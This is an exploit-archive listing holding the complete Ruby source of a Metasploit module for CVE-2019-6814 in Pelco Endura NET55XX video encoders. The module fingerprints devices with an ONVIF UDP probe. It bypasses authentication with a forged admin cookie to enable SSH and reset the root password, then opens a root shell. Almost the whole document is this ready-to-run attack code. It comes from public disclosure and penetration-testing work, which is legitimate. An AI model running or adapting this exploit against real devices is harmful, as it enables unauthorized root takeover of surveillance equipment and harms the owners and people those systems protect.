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Schneider Electric Pelco Endura NET55XX Encoder

Schneider Electric Pelco Endura NET55XX Encoder
Posted Jul 27, 2019
Authored by Lucas Dinucci, Vitor Esperanca | Site metasploit.com

This Metasploit module exploits inadequate access controls within the Schneider Electric Pelco Endura NET55XX webUI to enable the SSH service and change the root password. This module has been tested successfully on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.

tags | exploit, root
advisories | CVE-2019-6814
SHA-256 | 9f1a1fca209500f23a5d828a6c170bd77e26b7a3c4b045f75fc08a8419a6a484

Schneider Electric Pelco Endura NET55XX Encoder

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::SSH

def initialize(info={})
super(update_info(info,
'Name' => "Schneider Electric Pelco Endura NET55XX Encoder",
'Description' => %q(
This module exploits inadequate access controls within the webUI to enable
the SSH service and change the root password. This module has been tested successfully
on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Lucas Dinucci <idntk.lucdin@gmail.com>',
'Vitor Esperan├ža <vitor@machiaveliclabs.com>'
],
'References' =>
[
['CVE', '2019-6814'],
['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [ [ "Universal", {} ] ],
'Privileged' => true,
'DisclosureDate' => "Jan 25 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
]
)

register_advanced_options(
[
OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end

def new_password
datastore['NEW_PASSWORD']
end

def check
xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
'<a:ReplyTo>'\
'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
'</a:ReplyTo>'\
'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
'</Header>'\
'<Body>'\
'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
'</Probe>'\
'</Body>'\
'</Envelope><?xml version="1.0" encoding="UTF-8"?>'

connect_udp(true, {'RPORT' => datastore['UDP_PORT']})
udp_sock.put(xmlPayload)
resp = []
resp << udp_sock.get(datastore['TIMEOUT'])
xmlResponse = resp.join(',')
disconnect_udp
if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508")
return Exploit::CheckCode::Appears
end
CheckCode::Safe
end

def change_password
print_status("#{peer} - Attempt to change the root password...")
post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json

login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
'data' => post,
'headers' =>
{
'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
'Content-Type' => 'application/json;charset=utf-8'
}
}, timeout=datastore['TIMEOUT'])

fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200
print_good("#{rhost}:80 - Successfully changed the root password...")
print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
end

def do_login
change_password
print_status("#{rhost}:22 - Attempt to start a SSH connection...")
factory = ssh_socket_factory
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:port => 22,
:use_agent => false,
:config => true,
:password => new_password,
:proxy => factory,
:non_interactive => true,
:verify_host_key => :never
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
end
rescue Rex::ConnectionError
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:22 SSH - Disconnected during negotiation"
rescue ::Timeout::Error
print_error "#{rhost}:22 SSH - Timed out during negotiation"
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:22 SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
end
if ssh
conn = Net::SSH::CommandStream.new(ssh)
return conn
end
end

def exploit
conn = do_login
if conn
print_good("#{rhost}:22 - Session established ")
handler(conn.lsock)
end
end
end
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